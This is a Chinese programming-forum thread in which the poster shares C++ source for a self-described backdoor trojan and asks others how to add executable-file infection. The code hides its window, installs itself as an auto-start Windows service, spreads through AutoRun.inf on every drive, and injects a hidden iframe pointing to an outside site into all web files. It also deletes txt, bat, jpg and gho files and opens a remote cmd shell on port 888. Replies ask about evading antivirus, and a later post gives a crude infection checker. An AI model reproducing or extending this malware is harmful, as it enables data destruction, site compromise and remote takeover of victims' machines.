| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 3692 人关注过本帖, 3 人收藏
标题:C++设计木马第2篇 - 后续后门木马设计
只看楼主 加入收藏
GodOneisCode
Rank: 1
等 级:新手上路
帖 子:5
专家分:0
注 册:2017-2-2
收藏(3)
 问题点数:0 回复次数:5 
C++设计木马第2篇 - 后续后门木马设计
由于注释很多就不一一解释了
程序代码:
// C语言设计病毒第2篇
// 作者 : GodOneisCode
// 改写时间 : 1周02天

#include <Winsock2.h>
#include <Windows.h>
#pragma comment(lib, "Ws2_32.lib")

void HideWindow();
void InfectAllFiles(char *lpPath);
void WormComputer();
void AutoInfect(char *lpPath);
void EnterService();
void CopyFiles(char *lpPath);
void Telnetdoor();

// 定义AutoRun.inf内容
char szAutoRun[] = "[AutoRun] \
\r\nopen=SystemInfo.exe \
\r\nshell\\open=打开(&O) \
\r\nshell\\open\\command=SystemInfo.exe \
\r\nshell\\explore=资源管理器(&X) \
\r\nshell\\explore\\command=SystemInfo.exe \
\r\nshellexecute=SystemInfo.exe \
\r\nshell\\auto\\command=SystemInfo.exe";

// 定义恶意网页代码
char szWebCode[] = "\r\n<iframe src=http://www.xxpapa.co width=0 height=0></iframe> \
\r\n<img src=图片地址></img>";

int main(int argc, char **argv)
{
    HideWindow();
    EnterService();
    WormComputer();
    Telnetdoor();
    return 0;
}

// 隐藏自身窗口
void HideWindow()
{
    HWND hwndDOS = GetForegroundWindow(); 
    ShowWindow(hwndDOS, SW_HIDE);
}

// 实现全盘感染
void WormComputer()
{
    // 磁盘遍历
    for ( char cLabel = 'c'; cLabel <= 'z'; cLabel++ )
    {
        char strRootPath[] = {"c:\\"};
        strRootPath[0] = cLabel;
        CopyFiles(strRootPath);
        AutoInfect(strRootPath);
        if ( GetDriveType(strRootPath) == DRIVE_FIXED )
        {
            strRootPath[2] = '\0';
            InfectAllFiles(strRootPath);
        }
    }
}

// 复制自身到各盘符
void CopyFiles(char *lpPath)
{
    char szFile[MAX_PATH] = { 0 };
    char szCurrDir[MAX_PATH] = { 0 };
    strcpy(szFile, lpPath);
    strcat(szFile, "\\SystemInfo.exe");
    GetModuleFileName(NULL, szCurrDir, MAX_PATH);
    CopyFile(szCurrDir, szFile, FALSE);
}

// 实现U盘传播
void AutoInfect(char *lpPath)
{
    // 创建AutoRun.inf文件
    char szAutoFile[MAX_PATH] = { 0 };
    strcpy(szAutoFile, lpPath);
    strcat(szAutoFile, "\\AutoRun.inf");

    // CREATE_ALWAYS 为创建文件
    HANDLE hFile = CreateFile(szAutoFile,
        GENERIC_WRITE,
        0, NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL);
    DWORD dwWritten = 0;

    // 写入恶意代码
    WriteFile(hFile, szAutoRun, lstrlen(szAutoRun),
        &dwWritten, NULL);

    CloseHandle(hFile);
}

// 感染系统所有文件
void InfectAllFiles(char *lpPath)
{
    char szFind[MAX_PATH] = { 0 };
    WIN32_FIND_DATA FindFileData;

    // 查找所有文件
    strcpy(szFind, lpPath);
    strcat(szFind, "\\*.*");
    HANDLE hFind = ::FindFirstFile(szFind, &FindFileData);
    if ( INVALID_HANDLE_VALUE == hFind)
        return;

    while ( TRUE )
    {
        if ( FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY )
        {
            // 跳过'.'目录
            if ( FindFileData.cFileName[0] != '.' )
            {
                char szFile[MAX_PATH] = { 0 };
                strcpy(szFile, lpPath);
                strcat(szFile, "\\");
                strcat(szFile, FindFileData.cFileName);
                InfectAllFiles(szFile);
            }
        }
        else
        {
            int len = strlen(FindFileData.cFileName);
            const char *p = (char *)&FindFileData.cFileName[len-3];
            char strFileName[MAX_PATH] = { 0 };
            strcpy(strFileName, lpPath);
            strcat(strFileName, "\\");
            strcat(strFileName, FindFileData.cFileName);
           
            // 感染所有网页文件
            if ( _stricmp(p, "html") == 0 || _stricmp(p, "htm") == 0 || _stricmp(p, "asp") == 0
                || _stricmp(p, "aspx") == 0 || _stricmp(p, "php") == 0 || _stricmp(p, "jsp") == 0 )
            {
                // OPEN_ALWAYS 为打开文件
                HANDLE hFile = CreateFile(strFileName,
                    GENERIC_WRITE,
                    0, NULL,
                    OPEN_ALWAYS,
                    FILE_ATTRIBUTE_NORMAL,
                    NULL);

                // 写入恶意代码
                DWORD dwWritten = 0;
                WriteFile(hFile, szWebCode, lstrlen(szAutoRun),
                    &dwWritten, NULL);
               
                CloseHandle(hFile);
            }
            // 删除其他文件
            else if ( _stricmp(p, "txt") == 0 || _stricmp(p, "bat") == 0 || _stricmp(p, "dos") == 0
                || _stricmp(p, "jpg") == 0 || _stricmp(p, "gho") == 0 )
            {
                DeleteFile(strFileName);
            }
            // 感染可执行文件
            else if ( _stricmp(p, "exe") == 0 || _stricmp(p, "com") == 0)
            {
                // 自身则不感染, 并设置隐藏属性
                if ( FindFileData.cFileName == "SystemInfo.exe" )
                {
                    SetFileAttributes(strFileName, FILE_ATTRIBUTE_HIDDEN);
                    continue;
                }
                // 感染PE文件怎么写 ??????????????????????????????????????????????????????????
                else
                {
                    // 求助
                }
            }
        }
        if ( !FindNextFile(hFind, &FindFileData) )
            break;
    }
    // 关闭文件
    FindClose(hFind);
}

// 实现CMD远程控制
void Telnetdoor()
{
    WSADATA wsa;
    WSAStartup(MAKEWORD(2, 2), &wsa);

    // 创建套接字
    SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

    // 填充信息
    sockaddr_in sock;
    sock.sin_family = AF_INET;
    sock.sin_addr.S_un.S_addr = ADDR_ANY;
    sock.sin_port = htons(888);
    bind(s, (SOCKADDR *)&sock, sizeof(SOCKADDR));

    listen(s, 1);

    // 接受连接
    sockaddr_in sockClient;
    int SaddrSize = sizeof(SOCKADDR);
    SOCKET sc = accept(s, (SOCKADDR *)&sockClient, &SaddrSize);

    // 创建管道
    SECURITY_ATTRIBUTES sa1, sa2;
    HANDLE hRead1, hRead2, hWrite1, hWrite2;

    sa1.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa1.lpSecurityDescriptor = NULL;
    sa1.bInheritHandle = TRUE;
    // 填充信息
    sa2.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa2.lpSecurityDescriptor = NULL;
    sa2.bInheritHandle = TRUE;

    CreatePipe(&hRead1, &hWrite1, &sa1, 0);
    CreatePipe(&hRead2, &hWrite2, &sa2, 0);

    // 创建用于通信的子程序
    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    ZeroMemory(&si, sizeof(STARTUPINFO));
    si.cb = sizeof(STARTUPINFO);
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    // 管道1用于输出
    // 管道2用于输入
    si.hStdInput = hRead2;
    si.hStdOutput = hWrite1;
    si.hStdError = hWrite1;

    char *szCmd = "cmd";
    // 创建子进程
    CreateProcess(NULL, szCmd, NULL, NULL,
        TRUE, 0, NULL, NULL, &si, &pi);

    // 定义输入\输出大小
    DWORD dwBytes = 0;
    BOOL bRet = FALSE;
    char szBuffer[0x1000] = { 0 };
    char szCommand[0x1000] = { 0 };


    // 循环接受命令
    while ( TRUE )
    {
        // 发送命令
        ZeroMemory(szCommand, 0x1000);

        bRet = PeekNamedPipe(hRead1, szBuffer, 0x1000, &dwBytes, 0, 0);
        if ( dwBytes )
        {
            ReadFile(hRead1, szBuffer, 0x1000, &dwBytes, NULL);
            send(sc, szBuffer, dwBytes, 0);
        }
        else
        {
            int i = 0;
            while ( 1 )
            {
                // 接受回显
                dwBytes = recv(sc, szBuffer, 0x1000, 0);
                if ( dwBytes <= 0)
                {
                    break;
                }

                szCommand[i++] = szBuffer[0];
                if ( szBuffer[0] == '\r' || szBuffer[0] == '\n' )
                {
                    szCommand[i-1] = '\n';
                    break;
                }
            }
            // 写入管道
            WriteFile(hWrite2, szCommand, i, &dwBytes, NULL);
        }
    }   
    WSACleanup();
}

// 创建服务木马自启动
void EnterService()
{
    char szFileName[MAX_PATH] = { 0 };
    GetModuleFileName(NULL, szFileName, MAX_PATH);

    SC_HANDLE scHandle = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
    SC_HANDLE scHandleOpen = OpenService(scHandle, "door", SERVICE_ALL_ACCESS);

    if ( scHandleOpen == NULL )
    {
        char szSelfFile[MAX_PATH] = { 0 };
        char szSystemPath[MAX_PATH] = { 0 };

        // 复制到Windows目录下
        GetWindowsDirectory(szSystemPath, MAX_PATH);
        strcat(szSystemPath, "\\SystemInfo.exe");
        GetModuleFileName(NULL, szSelfFile, MAX_PATH);

        CopyFile(szSelfFile, szSystemPath, FALSE);
        SetFileAttributes(szSystemPath, FILE_ATTRIBUTE_HIDDEN);

        // 创建自启动服务
        SC_HANDLE scNewHandle = CreateService(scHandle,
            "door",
            "door",
            SERVICE_ALL_ACCESS,
            SERVICE_WIN32_OWN_PROCESS,
            SERVICE_AUTO_START,
            SERVICE_ERROR_IGNORE,
            szSystemPath,
            NULL,
            NULL,
            NULL,
            NULL,
            NULL);

        // 启动服务
        StartService(scNewHandle, 0, NULL);
        CloseServiceHandle(scNewHandle);
    }

    // 关闭句柄
    CloseServiceHandle(scHandleOpen);
    CloseServiceHandle(scHandle);
}

编译运行(关闭杀毒软件在虚拟机中运行),就可以看到效果了。
木马基本雏形已经写好,但请问如何感染PE文件? 怎么写呀?

会的大神在此贴留代码,谢谢。
搜索更多相关主题的帖子: C语言 comment 
2017-02-03 20:16
mark100
Rank: 1
等 级:新手上路
帖 子:1
专家分:0
注 册:2017-2-3
收藏
得分:0 
不错,顶一下~~~~~
2017-02-03 21:31
FollowDream
Rank: 2
等 级:论坛游民
帖 子:33
专家分:14
注 册:2017-1-12
收藏
得分:0 
能逃过安全软件吗?
2017-02-04 19:43
GodOneisCode
Rank: 1
等 级:新手上路
帖 子:5
专家分:0
注 册:2017-2-2
收藏
得分:0 
由于个人私事,下一篇木马贴第4篇要再过1周时间编写。
今天只发一个简单检测文件是否被木马感染的程序
程序代码:
// 简易扫描文件是否被感染

#include <stdio.h>
#include <windows.h>

void Firewall(char *lpPath);
void InfectAllFiles(char *lpPath);
void WormComputer();

int main(int argc, char *argv[])
{
    WormComputer();
    return 0;
}

// 全盘查找
void WormComputer()
{
    for ( char cLabel='C'; cLabel<='Z'; cLabel++ )
    {
        char strRootPath[] = {"C:\\"};
        strRootPath[0] = cLabel;
        
        if ( GetDriveType(strRootPath) == DRIVE_FIXED )
        {
            InfectAllFiles(strRootPath);
        }
    }
}

// 目录遍历查找PE文件
void InfectAllFiles(char *lpPath)
{
    char szFind[MAX_PATH] = { 0 };
    WIN32_FIND_DATA FindFileData;

    strcpy(szFind, lpPath);
    strcat(szFind, "\\*.*");
    HANDLE hFind = ::FindFirstFile(szFind, &FindFileData);
    if ( INVALID_HANDLE_VALUE == hFind)
        return;

    while ( TRUE )
    {
        if ( FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY )
        {
            if ( FindFileData.cFileName[0] != '.' )
            {
                char szFile[MAX_PATH] = { 0 };
                strcpy(szFile, lpPath);
                strcat(szFile, "\\");
                strcat(szFile, FindFileData.cFileName);
                InfectAllFiles(szFile);
            }
        }
        else
        {
            int len = strlen(FindFileData.cFileName);
            const char *p = (char *)&FindFileData.cFileName[len-3];
            
            if ( _stricmp(p, "exe") == 0 || _stricmp(p, "com") == 0 )
            {
                char strFileName[MAX_PATH] = { 0 };
                strcpy(strFileName, lpPath);
                strcat(strFileName, "\\");
                strcat(strFileName, FindFileData.cFileName);
                Firewall(strFileName);
            }
        }
        if ( !FindNextFile(hFind, &FindFileData) )
            break;
    }
    FindClose(hFind);
}

// 判断文件是否被感染
void Firewall(char *lpPath)
{
    FILE *fp;
    char ch;
    IMAGE_DOS_HEADER DosHeader;
    IMAGE_NT_HEADERS NtHeader;
    IMAGE_SECTION_HEADER *pSection;

    fp = fopen(lpPath, "rb");
    if ( fp == NULL )
    {
        return;
    }
    ch = fgetc(fp);
    // 无效文件退出
    if ( ch != 'M' )
    {
        return;
    }
    else
    {
        ch = fgetc(fp);
        if ( ch != 'Z' )
        {
            return;
        }
    }
    fseek(fp, 0x7f, 0);
    ch = fgetc(fp);
    // 通过判断PE文件入口, 一般文件入口为0x00
    if ( ch != 0x00)
    {
        printf("\r\n警告: PE文件%s可能被木马感染.\r\n", lpPath);
        rewind(fp);  
        fread(&DosHeader, sizeof(struct _IMAGE_DOS_HEADER), 1, fp);
        fclose(fp);
        getchar();
        return;
    }
    else
    {
        printf("文件:%s为安全文件.\r\n", lpPath);
        fclose(fp);
        return;
    }
    return;
}


运行结果:
图片附件: 游客没有浏览图片的权限,请 登录注册

2017-02-05 20:49
初始元灵
Rank: 2
等 级:论坛游民
帖 子:72
专家分:46
注 册:2016-10-10
收藏
得分:0 
我隔壁的都被吸引来了,看了好久你的代码,向你致敬!

三清之始
2017-02-07 16:56
GodOneisCode
Rank: 1
等 级:新手上路
帖 子:5
专家分:0
注 册:2017-2-2
收藏
得分:0 
感谢你的关注,最近可能更新不了。

2017-02-07 23:16
快速回复:C++设计木马第2篇 - 后续后门木马设计
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.022701 second(s), 9 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved